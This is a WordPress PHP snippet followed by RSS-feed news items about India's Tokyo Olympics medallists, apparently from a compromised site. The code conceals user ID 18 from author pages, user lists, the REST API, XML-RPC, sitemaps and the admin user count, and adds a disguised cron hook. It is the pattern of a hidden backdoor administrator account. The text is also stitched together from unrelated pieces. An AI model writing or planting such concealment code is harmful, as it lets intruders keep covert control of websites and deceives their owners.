add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Mirabai Chanu to be a part of Dance Deewane 3 appeared first on The Edge Media.
]]>Talking about her experience of being on the show, Mirabai says: “I had never thought I would ever come on this show and meet Madhuri ma’am. I am a big fan of hers. I am also fond of dancing and the entire team gave me a surprise by bringing pizza for me.”
The show will have some special guests also along with her like cricketer Kapil Dev, former first-class cricketer Mohinder Amarnath, the first Indian sabre fencer to qualify for Olympics, Bhavani Devi and wrestler Priya Malik. They will be joining the judges Madhuri Dixit Nene, Tushar Kalia, Dharmesh Yelande and host Bharti Singh.
She adds: “The only message I want to give to all the contestants is that never lose hope and keep giving your best performances and make the nation proud. And of course I would like to add that Gunjan is my favourite contestant.”
‘Dance Deewane 3’ airs on COLORS.
The post Mirabai Chanu to be a part of Dance Deewane 3 appeared first on The Edge Media.
]]>The post Here’s a look at all the Indian medallists in Tokyo appeared first on The Edge Media.
]]>With one gold, two silver and four bronze medals, India’s total of seven medals in Tokyo bettered the previous best haul of six at the London Games in 2012.
India’s tricolour was raised during the medal ceremonies in weightlifting, hockey, badminton, wrestling, boxing and athletics at this edition of the Olympics.
Here’s a look at all the Indian medallists in Tokyo:
Mirabai Chanu (Weightlifting) – Silver Medal
Indian weightlifter Mirabai Chanu won a silver medal as she lifted a total of 202kg (87kg+115kg) in the women’s 49 kg category. Chanu finished behind Hou Zhihui of China, who took the gold medal while Indonesia’s Windy Aisah won bronze. This was India’s second overall medal in weightlifting at the Olympics. Weightlifter Karnam Malleswari had previously won bronze at the 2000 Sydney Olympics.
PV Sindhu (Badminton) – Bronze Medal
India’s badminton star PV Sindhu carried on from where she left at the last Olympics and brought back another medal for the country in the women’s singles event. After winning silver in Rio 2016, Sindhu picked up a bronze this time when she overcame China’s He Bing Jiao 21-13, 21-15 in the bronze medal match.
Lovlina Borgohain (Boxing) – Bronze Medal
Indian boxer Lovlina Borgohain picked up the country’s third ever Olympic medal in boxing when she secured a bronze in the women’s welterweight (64-69kg) category, following on the footsteps of Vijender Singh and MC Mary Kom’s bronze medals in 2008 and 2012, respectively. She displayed immense grit in her semi-final bout against eventual champion Busenaz Surmeneli of Turkey but lost via unanimous decision. Hong Gu of China secured silver after losing the final to the Turk.
Indian Team (Men’s Hockey) – Bronze Medal
The Indian men’s hockey team ended a 41-year medal drought at the Olympics after defeating Germany 5-4 in a thrilling comeback victory in the bronze medal match. India, eight-time winners of the men’s hockey gold at the Olympics, had last clinched an Olympic medal in the sport at the 1980 Moscow Games, where they won the gold.
Ravi Dahiya (Wrestling) – Silver Medal
Indian wrestler Ravi Dahiya took the second spot in the men’s freestyle 57kg category after losing a close final bout to ROC’s Zavur Uguev 4-7. Dahiya showcased great determination as he pushed two-time world champion Uguev to his limits and came agonisingly close to earning a gold medal for the country. However, Uguev used his experience to get over the line, leaving Dahiya to be content with the silver medal.
Bajrang Punia (Wrestling) – Bronze Medal
Bajrang Punia won India’s second wrestling medal as he defeated Kazakhstan’s Daulet Niyazbekov 8-0 in men’s 65kg freestyle to win bronze. After losing to Azerbaijan’s Haji Aliyev in the semi-finals, Bajrang dominated his Kazakh opponent to ease to victory in the bronze medal bout.
Neeraj Chopra (Javelin Throw) – Gold Medal
India’s first ever Olympic gold in athletics came in Tokyo when Neeraj Chopra put on a stellar display to register a best throw of 87.58m in the final to seal victory. Czech Republic’s Jakub Vadlejch and Vitezslav Vesely won silver and bronze, respectively. This was also India’s first gold medal since Abhinav Bindra in Beijing 2008 and only the second ever individual gold medal.
The post Here’s a look at all the Indian medallists in Tokyo appeared first on The Edge Media.
]]>The post Mirabai Chanu’s coach Vijay Sharma will get Rs10 lakh : IOA appeared first on The Edge Media.
]]>The coaches of gold medal winners will get Rs 12.5 lakh while those of bronze medallists will be given Rs 7.5 lakh by the IOA. “We have to reward the coaches also for producing Olympic medal winners. They are the ones who are guiding the athletes day in and day out. They are also working hard and making sacrifices, just like the athletes,” IOA Secretary General Rajeev Mehta said.
On Thursday, the IOA had announced that it would give the Tokyo Olympics gold medal winners a cash award of Rs 75 lakh apart from giving each of the participating National Sports Federations (NSFs) a bonus amount of Rs 25 lakh.
The silver medal winners will be presented Rs 40 lakh, while the bronze winners will get richer by Rs 25 lakhs. It also recommended a sum of Rs. 1 lakh to each athlete representing the country at the Tokyo Olympic Games and Rs 30 lakh to each medal-winning NSFs.
The post Mirabai Chanu’s coach Vijay Sharma will get Rs10 lakh : IOA appeared first on The Edge Media.
]]>The post India elated by Mirabai Chanu’s win says PM appeared first on The Edge Media.
]]>Shortly after Mirabai Chanu won India’s first medal at the Olympic games in the weightlifting category, Prime Minister Narendra Modi wished her on her triumph.
Could not have asked for a happier start to @Tokyo2020! India is elated by @mirabai_chanu’s stupendous performance. Congratulations to her for winning the Silver medal in weightlifting. Her success motivates every Indian. #Cheer4India #Tokyo2020 pic.twitter.com/B6uJtDlaJo
— Narendra Modi (@narendramodi) July 24, 2021
The post India elated by Mirabai Chanu’s win says PM appeared first on The Edge Media.
]]>